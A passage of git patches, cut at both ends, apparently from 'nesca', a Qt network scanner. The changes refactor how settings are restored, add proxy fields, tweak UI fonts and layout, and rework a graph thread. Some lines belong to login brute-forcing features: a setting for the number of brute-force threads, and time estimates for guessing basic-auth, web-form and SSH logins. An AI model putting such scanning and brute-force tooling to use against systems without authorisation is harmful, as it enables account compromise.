- 1] = '\0'; - ui->iptoLine_value->setText(QString(lex)); - ui->iptoLine_value_2->setText(QString(lex)); - ui->iptoLine_value_3->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[MAXBTHR]:") != NULL) - { - lex = strstr(resStr, "[MAXBTHR]:") + strlen("[MAXBTHR]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->maxBrutingThrBox->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[PERSKEY]:") != NULL) - { - lex = strstr(resStr, "[PERSKEY]:") + strlen("[PERSKEY]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->linePersKey->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[IRCSERVER]:") != NULL) - { - lex = strstr(resStr, "[IRCSERVER]:") + strlen("[IRCSERVER]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->ircServerBox->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[IRCPORT]:") != NULL) - { - lex = strstr(resStr, "[IRCPORT]:") + strlen("[IRCPORT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->serverPortBox->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[IRCPROXY]:") != NULL) - { - lex = strstr(resStr, "[IRCPROXY]:") + strlen("[IRCPROXY]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->ircProxy->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[IRCPROXYPORT]:") != NULL) - { - lex = strstr(resStr, "[IRCPROXYPORT]:") + strlen("[IRCPROXYPORT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->ircProxyPort->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[IRCNICK]:") != NULL) - { - lex = strstr(resStr, "[IRCNICK]:") + strlen("[IRCNICK]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->ircNickBox->setText(QString(lex)); - } - else - { - ui->ircNickBox->setText("ns_" + QString::number(qrand() % 8999 + 1000 )); - }; - }; + if(strstr(resStr, "[NDBSERVER]:") != NULL) ui->lineTrackerSrv->setText(loadNescaSetup(resStr, "[NDBSERVER]:").simplified()); + if(strstr(resStr, "[NDBSCRIPT]:") != NULL) ui->lineTrackerScr->setText(loadNescaSetup(resStr, "[NDBSCRIPT]:").simplified()); + if(strstr(resStr, "[NDBPORT]:") != NULL) ui->trcSrvPortLine->setText(loadNescaSetup(resStr, "[NDBPORT]:").simplified()); + if(strstr(resStr, "[PING]:") != NULL) ui->pingingOnOff->setText(loadNescaSetup(resStr, "[PING]:").simplified()); + if(strstr(resStr, "[PING_TO]:") != NULL) ui->PingTO->setText(loadNescaSetup(resStr, "[PING_TO]:").simplified()); + if(strstr(resStr, "[THREAD_DELAY]:") != NULL) ui->threadDelayBox->setText(loadNescaSetup(resStr, "[THREAD_DELAY]:").simplified()); + if(strstr(resStr, "[TIMEOUT]:") != NULL) { + ui->iptoLine_value->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); + ui->iptoLine_value_2->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); + ui->iptoLine_value_3->setText(loadNescaSetup(resStr, "[TIMEOUT]:")); + } + if(strstr(resStr, "[MAXBTHR]:") != NULL) ui->maxBrutingThrBox->setText(loadNescaSetup(resStr, "[MAXBTHR]:").simplified()); + if(strstr(resStr, "[PERSKEY]:") != NULL) ui->linePersKey->setText(loadNescaSetup(resStr, "[PERSKEY]:").simplified()); + if(strstr(resStr, "[IRCSERVER]:") != NULL) ui->ircServerBox->setText(loadNescaSetup(resStr, "[IRCSERVER]:").simplified()); + if(strstr(resStr, "[IRCPORT]:") != NULL) ui->serverPortBox->setText(loadNescaSetup(resStr, "[IRCPORT]:").simplified()); + if(strstr(resStr, "[IRCPROXY]:") != NULL) ui->ircProxy->setText(loadNescaSetup(resStr, "[IRCPROXY]:").simplified()); + if(strstr(resStr, "[IRCPROXYPORT]:") != NULL) ui->ircProxyPort->setText(loadNescaSetup(resStr, "[IRCPROXYPORT]:").simplified()); + if(strstr(resStr, "[SYSTEMPROXYIP]:") != NULL) ui->systemProxyIP->setText(loadNescaSetup(resStr, "[SYSTEMPROXYIP]:").simplified()); + if(strstr(resStr, "[SYSTEMPROXYPORT]:") != NULL) ui->systemProxyPort->setText(loadNescaSetup(resStr, "[SYSTEMPROXYPORT]:").simplified()); + if(strstr(resStr, "[IRCNICK]:") != NULL) ui->ircNickBox->setText(loadNescaSetup(resStr, "[IRCNICK]:").simplified()); + ZeroMemory(resStr, sizeof(resStr)); }; + fclose(resFile); - stt->doEmitionGreenFoundData("Previous session restored."); - }; } @@ -3336,13 +3212,6 @@ void _startMsgCheck() mct->start(); } - -static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp) -{ - ((std::string*)userp)->append((char*)contents, size * nmemb); - return size * nmemb; -} - nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) { setWindowFlags ( Qt::FramelessWindowHint ); @@ -3500,8 +3369,6 @@ void nesca_3::saveOptions() { int ci = ui->tabMainWidget->currentIndex(); - - if(ci == 0) { ZeroMemory(saveStartIP, sizeof(saveStartIP)); @@ -3570,6 +3437,10 @@ void nesca_3::saveOptions() strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + strncpy(gProxyIP, ui->systemProxyIP->text().toLocal8Bit().data(), 64); + strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); + + _SaveBackupToFile(); } void nesca_3::STTTerminate() diff --git a/nesca_3.h b/nesca_3.h index 3a4a9f9..4a12fd7 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -22,7 +22,7 @@ #include <mainResources.h> extern Ui::nesca_3Class *ui; -extern bool widgetIsHidden, IRCLogToggled, BALogSwitched, blinkFlag, disableBlink, debugFileOK, QOSWait, +extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; extern float QoSStep; diff --git a/nesca_3.ui b/nesca_3.ui index 86349b1..720c9df 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -78,6 +78,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>10</pointsize> </font> </property> <property name="styleSheet"> @@ -90,7 +91,7 @@ <enum>QTabWidget::Rounded</enum> </property> <property name="currentIndex"> - <number>0</number> + <number>3</number> </property> <property name="elideMode"> <enum>Qt::ElideMiddle</enum> @@ -144,6 +145,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -174,6 +176,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -201,6 +204,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -335,6 +339,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -365,6 +370,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -397,6 +403,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -448,6 +455,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -478,6 +486,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -505,6 +514,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -639,6 +649,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -669,6 +680,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -701,6 +713,7 @@ <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -749,6 +762,7 @@ color: rgb(214, 214, 0);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -779,6 +793,7 @@ color: rgb(214, 214, 0);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -881,6 +896,7 @@ color: rgb(214, 214, 0);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> @@ -911,6 +927,7 @@ color: rgb(214, 214, 0);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -957,7 +974,7 @@ border-radius: 3px;</string> <rect> <x>30</x> <y>100</y> - <width>208</width> + <width>241</width> <height>17</height> </rect> </property> @@ -983,14 +1000,15 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>250</x> - <y>10</y> + <y>2</y> <width>121</width> - <height>20</height> + <height>16</height> </rect> </property> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1013,14 +1031,15 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>30</x> - <y>10</y> + <y>2</y> <width>211</width> - <height>20</height> + <height>16</height> </rect> </property> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1043,14 +1062,15 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>30</x> - <y>35</y> + <y>22</y> <width>341</width> - <height>20</height> + <height>12</height> </rect> </property> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1073,14 +1093,15 @@ border-radius: 3px;</string> <property name="geometry"> <rect> <x>379</x> - <y>10</y> + <y>2</y> <width>62</width> - <height>20</height> + <height>16</height> </rect> </property> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1102,15 +1123,16 @@ border-radius: 3px;</string> <widget class="QPushButton" name="checkKeyBut"> <property name="geometry"> <rect> - <x>380</x> - <y>35</y> + <x>379</x> + <y>18</y> <width>61</width> - <height>23</height> + <height>16</height> </rect> </property> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1132,6 +1154,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="whatsThis"> @@ -1159,6 +1182,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="whatsThis"> @@ -1215,7 +1239,7 @@ border-radius: 3px;</string> <rect> <x>163</x> <y>85</y> - <width>17</width> + <width>31</width> <height>16</height> </rect> </property> @@ -1276,6 +1300,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1346,7 +1371,7 @@ border-radius: 3px;</string> <rect> <x>30</x> <y>68</y> - <width>100</width> + <width>161</width> <height>17</height> </rect> </property> @@ -1371,6 +1396,71 @@ border-radius: 3px;</string> <bool>true</bool> </property> </widget> + <widget class="QLineEdit" name="systemProxyIP"> + <property name="geometry"> + <rect> + <x>30</x> + <y>38</y> + <width>341</width> + <height>12</height> + </rect> + </property> + <property name="font"> + <font> + <family>Eurostile</family> + <pointsize>8</pointsize> + </font> + </property> + <property name="toolTip"> + <string/> + </property> + <property name="styleSheet"> + <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none;</string> + </property> + <property name="text"> + <string/> + </property> + <property name="maxLength"> + <number>32</number> + </property> + <property name="alignment"> + <set>Qt::AlignCenter</set> + </property> + <property name="placeholderText"> + <string>Proxy here</string> + </property> + </widget> + <widget class="QLineEdit" name="systemProxyPort"> + <property name="geometry"> + <rect> + <x>379</x> + <y>38</y> + <width>62</width> + <height>12</height> + </rect> + </property> + <property name="font"> + <font> + <family>Eurostile</family> + <pointsize>8</pointsize> + </font> + </property> + <property name="styleSheet"> + <string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;</string> + </property> + <property name="text"> + <string>3128</string> + </property> + <property name="maxLength"> + <number>5</number> + </property> + <property name="alignment"> + <set>Qt::AlignCenter</set> + </property> + <property name="placeholderText"> + <string>Balancer port here</string> + </property> + </widget> </widget> </widget> <widget class="QLabel" name="labelNesca_3"> @@ -1518,6 +1608,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1545,6 +1636,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="autoFillBackground"> @@ -1569,6 +1661,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1590,6 +1683,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1611,6 +1705,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1632,6 +1727,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1678,7 +1774,7 @@ border-radius: 3px;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Consolas'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -1718,6 +1814,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1745,6 +1842,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1778,6 +1876,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1805,6 +1904,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1826,6 +1926,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -1847,6 +1948,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -2361,6 +2463,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -2388,6 +2491,7 @@ p, li { white-space: pre-wrap; } <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -2433,7 +2537,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -2494,6 +2598,7 @@ background-color: #000000;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -2809,6 +2914,7 @@ background-color: #000000;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -3415,7 +3521,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3551,7 +3657,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3885,6 +3991,7 @@ color: rgb(71, 71, 71);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -3912,6 +4019,7 @@ color: rgb(71, 71, 71);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -3939,6 +4047,7 @@ color: rgb(71, 71, 71);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> @@ -3969,6 +4078,7 @@ color: rgb(71, 71, 71);</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>8</pointsize> </font> </property> <property name="toolTip"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index e66936f..501cb9c 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -121,15 +121,15 @@ void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) }; } -QString GetNSErrorDefinition(char *str, char *elem) +QString GetNSErrorDefinition(const char *str, const char *elem) { - char *temp = strstr(str, elem); + const char *temp = strstr(str, elem); if(temp != NULL) { char definition[128] = {0}; - char *firstComma = strstr(temp + strlen(elem) + 1, "\""); - char *lastComma = strstr(firstComma + 1, "\""); + const char *firstComma = strstr(temp + strlen(elem) + 1, "\""); + const char *lastComma = strstr(firstComma + 1, "\""); int sz = lastComma - firstComma - 1; @@ -351,8 +351,16 @@ void _SaveBackupToFile() ZeroMemory(saveStr, sizeof(saveStr)); sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); + + sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort); + strcat(saveBuffer, saveStr); + ZeroMemory(saveStr, sizeof(saveStr)); strcpy(saveStr, "[PERSKEY]:"); strcat(saveStr, trcPersKey); @@ -1127,7 +1135,9 @@ void _passLoginFapper() stt->doEmitionKillSttThread(); }; - stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); + stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); } void ReadUTF8(FILE* nFile, char *cp) @@ -2271,7 +2281,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) } int startScan(char* args) -{ +{ SSL_library_init(); OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ SSL_load_error_strings(); /* Bring in and register error messages */ From a3a28442828955b3a2452f11736fe7a09cfd8205 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sat, 7 Mar 2015 20:31:48 +0300 Subject: [PATCH 26/66] Massive refactoring. --- Connector.cpp | 16 +-- Connector.h | 10 +- DrawerTh_HorNet.h | 1 - DrawerTh_ME2Scanner.cpp | 42 ++++--- DrawerTh_ME2Scanner.h | 6 +- Utils.cpp | 4 +- Utils.h | 14 ++- WebformWorker.h | 6 +- connector_old.cpp | 8 +- externFunctions.h | 8 +- finder.cpp | 272 +++++++--------------------------------- main.cpp | 18 +-- mainResources.h | 7 +- negatives.txt | 116 ++++++++++++++--- nesca_3.cpp | 174 ++++++++++--------------- nesca_3.h | 7 +- nesca_3.ui | 16 +-- nesca_startModule.cpp | 1 + oIRC_Th.cpp | 1 - 19 files changed, 291 insertions(+), 436 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index 8721bfe..b75438e 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -1,5 +1,4 @@ #include <Connector.h> -#include <Utils.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int _pingMyTarget(char *ip) @@ -34,7 +33,6 @@ int _pingMyTarget(char *ip) return 0; } - dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), NULL, ReplyBuffer, ReplySize, gPingTimeout*1000); if (dwRetVal != 0) { @@ -196,7 +194,7 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha if(i == 0) return -2; //Failhit BConDec(); isActive = 0; - return 0; + return 1; } else if(res == -2) { @@ -384,18 +382,8 @@ int Connector::_ConnectToPort(char *ip, int port, char *hl) ++Alive; ++found; stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - - conSTR CSTR; - CSTR.lowerBuff = new char[size + 1]; - CSTR.size = size; - memcpy(CSTR.lowerBuff, buffer.c_str(), size); - memset(CSTR.lowerBuff + size, '\0', 1); - Lexems lx; - lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); - - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; + lx._filler(port, buffer.c_str(), ip, size, &lx, hl); }; return 0; diff --git a/Connector.h b/Connector.h index 86fc85e..4c6d3ca 100644 --- a/Connector.h +++ b/Connector.h @@ -1,9 +1,17 @@ #ifndef CONNECTOR_H #define CONNECTOR_H -#include <mainResources.h> #include <externData.h> #include <STh.h> +#include <Utils.h> + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +#include <iphlpapi.h> +#include <icmpapi.h> +#pragma comment(lib, "iphlpapi.lib") +#pragma comment(lib,"curllib.lib") +#endif +#include <mainResources.h> class Connector { diff --git a/DrawerTh_HorNet.h b/DrawerTh_HorNet.h index 5279c18..25649dd 100644 --- a/DrawerTh_HorNet.h +++ b/DrawerTh_HorNet.h @@ -1,7 +1,6 @@ #ifndef DRAWERTH_HORNET_H #define DRAWERTH_HORNET_H -#pragma once #include "nesca_3.h" class DrawerTh_HorNet : public QThread diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index cdda4a0..8325b01 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -3,6 +3,9 @@ #include "externData.h" #include <WebformWorker.h> +QList<QGraphicsPathItem*> DrawerTh_ME2Scanner::itmList; +QVector<QPointF> DrawerTh_ME2Scanner::polyVect; + void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() { emit dtME2->sDrawTextPlacers(); @@ -15,12 +18,12 @@ void DrawerTh_ME2Scanner::doEmitionAddPolyLine() void MakePolygonLine(int gWidth) { - vect.clear(); + DrawerTh_ME2Scanner::polyVect.clear(); int x = 0; int tx = 0; int xtx = 0; - QPointF qp(0, 20); - vect.append(qp); + QPointF qp(0, ME2YPOS); + DrawerTh_ME2Scanner::polyVect.append(qp); int fact1 = 0, fact2 = 0, fact3 = 0, @@ -36,7 +39,7 @@ void MakePolygonLine(int gWidth) xtx = x + tx; if(xtx > 1 && xtx < 31) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - AnomC1*2 - fact1 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS); if(AnomC1 > 0) { if(xtx < 16 ) fact1+=2; @@ -46,7 +49,7 @@ void MakePolygonLine(int gWidth) if(xtx > 34 && xtx < 72) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS); if(WF > 0) { @@ -57,7 +60,7 @@ void MakePolygonLine(int gWidth) if(xtx > 74 && xtx < 112) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - BA*2 - fact3 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - BA * 2 - fact3 : ME2YPOS); if(BA > 0) { @@ -68,7 +71,7 @@ void MakePolygonLine(int gWidth) if(xtx > 114 && xtx < 152) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Susp*2 - fact4 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS); if(Susp > 0) { @@ -79,7 +82,7 @@ void MakePolygonLine(int gWidth) if(xtx > 154 && xtx < 192) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Overl*2 - fact5 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Overl * 2 - fact5 : ME2YPOS); if(Overl > 0) { @@ -90,7 +93,7 @@ void MakePolygonLine(int gWidth) if(xtx > 194 && xtx < 232) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Lowl*2 - fact6 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS); if(Lowl > 0) { @@ -101,7 +104,7 @@ void MakePolygonLine(int gWidth) if(xtx > 234 && xtx < 269) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Alive*2 - fact7 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + ME2YPOS - Alive * 2 - fact7 : ME2YPOS); if(Alive > 0) { @@ -110,9 +113,10 @@ void MakePolygonLine(int gWidth) }; }; - vect.append(qp); + DrawerTh_ME2Scanner::polyVect.append(qp); tx = x; }; + AnomC1 = 0; WF = 0; BA = 0; @@ -121,19 +125,23 @@ void MakePolygonLine(int gWidth) Lowl = 0; Alive = 0; Susp = 0; - vect.append(QPointF(gWidth, 20)); + + DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS)); } void DrawerTh_ME2Scanner::run() { int gWidth = ui->graphicLog->width(); dtME2->doEmitDrawTextPlacers(); + while(ME2ScanFlag) { - if(widgetIsHidden == false && tray->isVisible() == false) + if (widgetIsHidden == false && tray->isVisible() == false) { - MakePolygonLine(gWidth); - dtME2->doEmitionAddPolyLine(); + if (itmList.count() < 39) { + MakePolygonLine(gWidth); + dtME2->doEmitionAddPolyLine(); + } } else { @@ -147,6 +155,8 @@ void DrawerTh_ME2Scanner::run() Alive = 0; Susp = 0; }; - msleep(90); + msleep(100); }; + + itmList.clear(); } diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h index 0e1eda0..397d2f8 100644 --- a/DrawerTh_ME2Scanner.h +++ b/DrawerTh_ME2Scanner.h @@ -1,7 +1,8 @@ #ifndef DRAWERTH_ME2SCANNER_H #define DRAWERTH_ME2SCANNER_H -#pragma once +#define ME2YPOS 100 +#define ME2GRADPOS 10 #include "STh.h" class DrawerTh_ME2Scanner : public QThread @@ -9,6 +10,9 @@ class DrawerTh_ME2Scanner : public QThread Q_OBJECT public: + static QList<QGraphicsPathItem*> itmList; + static QVector<QPointF> polyVect; + static void doEmitionAddPolyLine(); static void doEmitDrawTextPlacers(); diff --git a/Utils.cpp b/Utils.cpp index a8f376a..6f89b4c 100644 --- a/Utils.cpp +++ 